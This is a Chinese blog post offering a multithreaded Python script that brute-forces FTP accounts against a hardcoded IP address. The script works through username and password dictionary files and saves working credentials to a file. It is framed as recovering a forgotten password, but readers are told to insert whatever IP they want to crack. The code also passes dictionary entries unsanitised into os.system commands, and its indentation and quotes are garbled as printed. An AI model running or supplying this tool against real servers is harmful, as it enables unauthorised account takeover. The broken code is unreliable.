忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
Python struct模块解析
Jun 12 Python
kafka-python批量发送数据的实例
Dec 27 Python
Python数据类型之Dict字典实例详解
May 07 Python
pycharm中显示CSS提示的知识点总结
Jul 29 Python
Python list与NumPy array 区分详解
Nov 06 Python
已安装tensorflow-gpu,但keras无法使用GPU加速的解决
Feb 07 Python
python能否java成为主流语言吗
Jun 22 Python
pytorch加载语音类自定义数据集的方法教程
Nov 10 Python
Django项目如何正确配置日志(logging)
Apr 29 Python
Django给表单添加honeypot验证增加安全性
May 06 Python
Python编写可视化界面的全过程(Python+PyCharm+PyQt)
May 17 Python
pd.DataFrame中的几种索引变换的实现
Jun 16 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
PHP默认安装产生系统漏洞
2006/10/09 PHP
服务器变量 $_SERVER 的深入解析
2013/07/02 PHP
PHP延迟静态绑定示例分享
2014/06/22 PHP
PHP编程实现多维数组按照某个键值排序的方法小结【2种方法】
2017/04/27 PHP
Django中通过定时任务触发页面静态化的处理方式
2018/08/29 PHP
js中的window.open返回object的错误的解决方法
2009/08/15 Javascript
添加JavaScript重载函数的辅助方法2
2010/07/04 Javascript
JavaScript字符串插入、删除、替换函数使用示例
2013/07/25 Javascript
Script标签与访问HTML页面详解
2014/01/10 Javascript
纯javascript实现简单下拉刷新功能
2015/03/13 Javascript
JavaScript对Json的增删改属性详解
2016/06/02 Javascript
一个简单不报错的summernote 图片上传案例
2016/07/11 Javascript
拖动时防止选中
2017/02/03 Javascript
angularjs中$http异步上传Excel文件方法
2018/02/23 Javascript
详解Vue的钩子函数(路由导航守卫、keep-alive、生命周期钩子)
2018/07/24 Javascript
对angularJs中controller控制器scope父子集作用域的实例讲解
2018/10/08 Javascript
解决layui数据表格Date日期格式的回显Object的问题
2019/09/19 Javascript
通过javascript实现扫雷游戏代码实例
2020/02/09 Javascript
python条件和循环的使用方法
2013/11/01 Python
Python 稀疏矩阵-sparse 存储和转换
2017/05/27 Python
同时安装Python2 & Python3 cmd下版本自由选择的方法
2017/12/09 Python
django中的HTML控件及参数传递方法
2018/03/20 Python
Python线程同步的实现代码
2018/10/03 Python
python+unittest+requests实现接口自动化的方法
2018/11/29 Python
Python3.4学习笔记之 idle 清屏扩展插件用法分析
2019/03/01 Python
python 变量初始化空列表的例子
2019/11/28 Python
python中doctest库实例用法
2020/12/31 Python
编写一个 C 函数,该函数在一个字符串中找到可能的最长的子字符串,且该字符串是由同一字符组成的
2015/07/23 面试题
GC是什么?为什么要有GC?
2013/12/08 面试题
中英文求职信范文
2014/01/27 职场文书
大学生简短的自我评价分享
2014/02/20 职场文书
税务会计岗位职责
2015/04/02 职场文书
罗马假日观后感
2015/06/08 职场文书
描写九月优美句子(39条)
2019/09/11 职场文书
安装pytorch时报sslerror错误的解决方案
2021/05/17 Python
golang实现一个简单的websocket聊天室功能
2021/10/05 Golang